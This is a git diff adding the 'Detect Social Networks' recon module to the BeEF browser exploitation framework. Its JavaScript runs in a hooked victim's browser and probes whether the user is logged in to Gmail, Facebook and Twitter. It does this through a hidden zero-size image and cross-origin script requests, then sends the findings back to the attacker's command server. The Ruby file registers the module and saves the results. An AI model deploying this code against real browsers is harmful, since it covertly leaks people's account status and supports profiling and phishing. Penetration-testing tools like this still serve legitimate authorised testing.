diff --git a/modules/commands/recon/detect_soc_nets/detect_soc_nets.js b/modules/commands/recon/detect_soc_nets/detect_soc_nets.js new file mode 100644 index 000000000..10a02dad2 --- /dev/null +++ b/modules/commands/recon/detect_soc_nets/detect_soc_nets.js @@ -0,0 +1,67 @@ +beef.execute(function() { + + var facebookresult = ""; + var twitterresult = ""; + + if (document.getElementById('gmailimg')) { + return "Img has already been created"; + } + + var img = new Image(); + img.setAttribute("style","visibility:hidden"); + img.setAttribute("width","0"); + img.setAttribute("height","0"); + img.src = 'https://mail.google.com/mail/photos/static/AD34hIiQyJTs5FhsJ1mhFdK9wx4OZU2AgLNZLBbk2zMHYPUfs-ZzXPLq2s2vdBmgnJ6SoUCeBbFnjRlPUDXw860gsEDSKPrhBJYDgDBCd7g36x2tuBQc0TM?'+ new Date(); + img.id = 'gmailimg'; + img.setAttribute("attr","start"); + img.onerror = function() { + this.setAttribute("attr","error"); + }; + img.onload = function() { + this.setAttribute("attr","load"); + }; + + + document.body.appendChild(img); + + $j.ajax({ + url: "https://twitter.com/account/use_phx?setting=false&format=text", + dataType: "script", + cache: "false", + error: function(one, two, three) { + twitterresult = "User is authenticated to Twitter"; + }, + success: function(one, two, three) { + twitterresult = "User is NOT authenticated to Twitter"; + }, + timeout: <%= @timeout %> + }); + + $j.ajax({ + url: "https://www.facebook.com/imike3", + dataType: "script", + cache: "false", + error: function(one, two, three) { + facebookresult = "User is NOT authenticated to Facebook"; + }, + success: function(one, two, three) { + facebookresult = "User is authenticated to Facebook"; + }, + timeout: <%= @timeout %> + }); + + setTimeout(function() { + var img2 = document.getElementById('gmailimg'); + if (img2.getAttribute("attr") == "error") { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is NOT authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult); + } else if (img2.getAttribute("attr") == "load") { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult); + } else if (img2.getAttribute("attr") == "start") { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=Browser timed out. Cannot determine if user is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult); + }; + document.body.removeChild(img2); + img = null; + img2 = null; + }, <%= @timeout %>+3000); + +}); diff --git a/modules/commands/recon/detect_soc_nets/detect_soc_nets.rb b/modules/commands/recon/detect_soc_nets/detect_soc_nets.rb new file mode 100644 index 000000000..61e04e6ac --- /dev/null +++ b/modules/commands/recon/detect_soc_nets/detect_soc_nets.rb @@ -0,0 +1,40 @@ +module BeEF +module Modules +module Commands + +class Detect_soc_nets < BeEF::Command + + def initialize + super({ + 'Name' => 'Detect Social Networks', + 'Description' => 'This module will detect if the Hooked Browser is currently authenticated to GMail, Facebook and Twitter', + 'Category' => 'Recon', + 'Author' => ['xntrik', 'Mike Cardwell'], + 'Data' => [ + {'name' => 'timeout', 'ui_label' => 'Detection Timeout','value' => '5000'} + ], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + + use 'beef.net.local' + use_template! + end + + def callback + content = {} + content['GMail'] = @datastore['gmail'] + content['Facebook'] = @datastore['facebook'] + content['Twitter']= @datastore['twitter'] + save content + end + +end + +end +end +end